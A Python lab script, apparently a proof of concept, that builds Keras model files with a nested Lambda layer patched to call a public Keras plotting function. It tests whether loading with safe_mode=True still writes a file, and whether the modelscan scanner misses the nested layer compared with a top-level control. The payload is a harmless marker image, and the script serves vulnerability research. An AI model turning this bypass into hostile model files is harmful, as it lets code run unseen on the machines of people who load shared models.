keras_native_safe_mode_public_function_lab.py

import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile
from pathlib import Path


ROOT = Path(__file__).resolve().parent
LAB = ROOT / "lab"
POC = LAB / "safe_mode_public_function_nested.keras"
CONTROL = LAB / "safe_mode_public_function_top_level_control.keras"
MARKER_NAME = "safe_mode_public_function_marker.png"
CONTROL_MARKER_NAME = "safe_mode_public_function_control_marker.png"
MARKER = LAB / "safe_mode_public_function_marker.png"
CONTROL_MARKER = LAB / "safe_mode_public_function_control_marker.png"
MODEL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function.json"
CONTROL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function_control.json"
RESULTS = LAB / "results_safe_mode_public_function.json"


def sha256(path):
    h = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            h.update(chunk)
    return h.hexdigest()


def run(cmd):
    proc = subprocess.run(
        cmd,
        cwd=ROOT,
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    return {
        "cmd": [str(part) for part in cmd],
        "returncode": proc.returncode,
        "stdout": proc.stdout,
        "stderr": proc.stderr,
    }


def patch_lambda_function_module(path):
    tmp_path = path.with_suffix(".tmp.keras")
    with zipfile.ZipFile(path, "r") as zin, zipfile.ZipFile(
        tmp_path, "w"
    ) as zout:
        config = json.loads(zin.read("config.json"))

        def walk(obj):
            if isinstance(obj, dict):
                if (
                    obj.get("class_name") == "Lambda"
                    and obj.get("config", {}).get("name")
                    in {
                        "hidden_plot_gallery_lambda",
                        "top_level_plot_gallery_lambda",
                    }
                ):
                    obj["config"]["function"] = {
                        "module": "keras.visualization",
                        "class_name": "function",
                        "config": "plot_image_gallery",
                        "registered_name": None,
                    }
                for value in obj.values():
                    walk(value)
            elif isinstance(obj, list):
                for value in obj:
                    walk(value)

        walk(config)
        for info in zin.infolist():
            data = (
                json.dumps(config).encode()
                if info.filename == "config.json"
                else zin.read(info.filename)
            )
            zout.writestr(info, data)
    tmp_path.replace(path)


def read_config_layers(path):
    with zipfile.ZipFile(path, "r") as zf:
        config = json.loads(zf.read("config.json"))
    top_layers = [
        layer.get("class_name")
        for layer in config.get("config", {}).get("layers", [])
    ]
    lambda_locations = []
    function_configs = []

    def walk(obj, trail="root"):
        if isinstance(obj, dict):
            if obj.get("class_name") == "Lambda":
                lambda_locations.append(trail)
                function_configs.append(obj.get("config", {}).get("function"))
            for key, value in obj.items():
                walk(value, f"{trail}.{key}")
        elif isinstance(obj, list):
            for index, value in enumerate(obj):
                walk(value, f"{trail}[{index}]")

    walk(config)
    return top_layers, lambda_locations, function_configs


def build_models():
    os.environ.setdefault("KERAS_BACKEND", "tensorflow")
    import keras

    LAB.mkdir(exist_ok=True)
    for artifact in (
        POC,
        CONTROL,
        MARKER,
        CONTROL_MARKER,
        MODEL_SCAN_JSON,
        CONTROL_SCAN_JSON,
        RESULTS,
    ):
        if artifact.exists():
            artifact.unlink()

    inputs = keras.Input(shape=(2, 2, 1), name="outer_input")
    inner_inputs = keras.Input(shape=(2, 2, 1), name="inner_input")
    hidden = keras.layers.Lambda(
        keras.visualization.plot_image_gallery,
        arguments={
            "path": MARKER_NAME,
            "rows": 1,
            "cols": 1,
            "show": False,
            "value_range": (0, 1),
        },
        output_shape=(2, 2, 1),
        name="hidden_plot_gallery_lambda",
    )(inner_inputs)
    inner = keras.Model(inner_inputs, hidden, name="inner_nested_model")
    outer = keras.Model(inputs, [inputs, inner(inputs)], name="outer_model")
    outer.save(POC)
    patch_lambda_function_module(POC)

    control_inputs = keras.Input(shape=(2, 2, 1), name="control_input")
    control_hidden = keras.layers.Lambda(
        keras.visualization.plot_image_gallery,
        arguments={
            "path": CONTROL_MARKER_NAME,
            "rows": 1,
            "cols": 1,
            "show": False,
            "value_range": (0, 1),
        },
        output_shape=(2, 2, 1),
        name="top_level_plot_gallery_lambda",
    )(control_inputs)
    control = keras.Model(
        control_inputs,
        [control_inputs, control_hidden],
        name="top_level_control_model",
    )
    control.save(CONTROL)
    patch_lambda_function_module(CONTROL)


def validate_runtime(model_path, marker_path):
    script = (
        "import json, os, pathlib\n"
        "import numpy as np\n"
        "import keras\n"
        f"model_path = pathlib.Path(r'{model_path}')\n"
        f"marker = pathlib.Path(r'{marker_path}')\n"
        "marker.unlink(missing_ok=True)\n"
        "os.chdir(model_path.parent)\n"
        "model = keras.saving.load_model(model_path, safe_mode=True)\n"
        "after_load = marker.exists()\n"
        "outputs = model(np.ones((1, 2, 2, 1), dtype='float32'))\n"
        "primary_sum = float(np.sum(outputs[0].numpy()))\n"
        "result = {\n"
        "    'safe_mode_load_succeeded': True,\n"
        "    'marker_after_load': after_load,\n"
        "    'marker_after_inference': marker.exists(),\n"
        "    'marker_size_bytes': marker.stat().st_size if marker.exists() else 0,\n"
        "    'primary_output_sum': primary_sum,\n"
        "    'secondary_output_is_none': outputs[1] is None,\n"
        "}\n"
        "print(json.dumps(result, sort_keys=True))\n"
    )
    return run([sys.executable, "-c", script])


def validate_modelscan(path, output_json):
    modelscan = shutil.which("modelscan")
    if modelscan is None:
        modelscan = str(ROOT / ".venv" / "Scripts" / "modelscan.exe")
    result = run(
        [
            modelscan,
            "scan",
            "-p",
            str(path),
            "-r",
            "json",
            "-o",
            str(output_json),
            "--show-skipped",
        ]
    )
    scanner_json = None
    if output_json.exists():
        scanner_json = json.loads(output_json.read_text())
    return result, scanner_json


def package_versions():
    script = (
        "import json, keras, modelscan\n"
        "mods = {}\n"
        "for name in ['matplotlib', 'PIL', 'tensorflow', 'numpy']:\n"
        "    try:\n"
        "        mod = __import__(name)\n"
        "        mods[name] = getattr(mod, '__version__', 'unknown')\n"
        "    except Exception as exc:\n"
        "        mods[name] = f'unavailable: {type(exc).__name__}: {exc}'\n"
        "print(json.dumps({\n"
        "    'python': __import__('sys').version,\n"
        "    'keras': keras.__version__,\n"
        "    'modelscan': getattr(modelscan, '__version__', 'unknown'),\n"
        "    **mods,\n"
        "}, sort_keys=True))\n"
    )
    result = run([sys.executable, "-c", script])
    try:
        return json.loads(result["stdout"])
    except json.JSONDecodeError:
        return {"version_probe": result}


def parse_json_stdout(result):
    try:
        return json.loads(result["stdout"])
    except json.JSONDecodeError:
        return None


def main():
    build_models()
    top_layers, lambda_locations, function_configs = read_config_layers(POC)
    control_top_layers, control_lambda_locations, _ = read_config_layers(CONTROL)

    runtime = validate_runtime(POC, MARKER)
    control_runtime = validate_runtime(CONTROL, CONTROL_MARKER)
    scanner_run, scanner_json = validate_modelscan(POC, MODEL_SCAN_JSON)
    control_scanner_run, control_scanner_json = validate_modelscan(
        CONTROL, CONTROL_SCAN_JSON
    )

    results = {
        "artifact": str(POC),
        "sha256": sha256(POC),
        "size_bytes": POC.stat().st_size,
        "marker": str(MARKER),
        "top_level_layers_seen_by_modelscan_logic": top_layers,
        "lambda_locations": lambda_locations,
        "lambda_function_configs": function_configs,
        "runtime_run": runtime,
        "runtime_json": parse_json_stdout(runtime),
        "modelscan_run": scanner_run,
        "modelscan_json": scanner_json,
        "control_artifact": str(CONTROL),
        "control_sha256": sha256(CONTROL),
        "control_top_level_layers": control_top_layers,
        "control_lambda_locations": control_lambda_locations,
        "control_runtime_run": control_runtime,
        "control_runtime_json": parse_json_stdout(control_runtime),
        "control_modelscan_run": control_scanner_run,
        "control_modelscan_json": control_scanner_json,
        "versions": package_versions(),
    }
    RESULTS.write_text(json.dumps(results, indent=2))
    print(json.dumps(results, indent=2))


if __name__ == "__main__":
    main()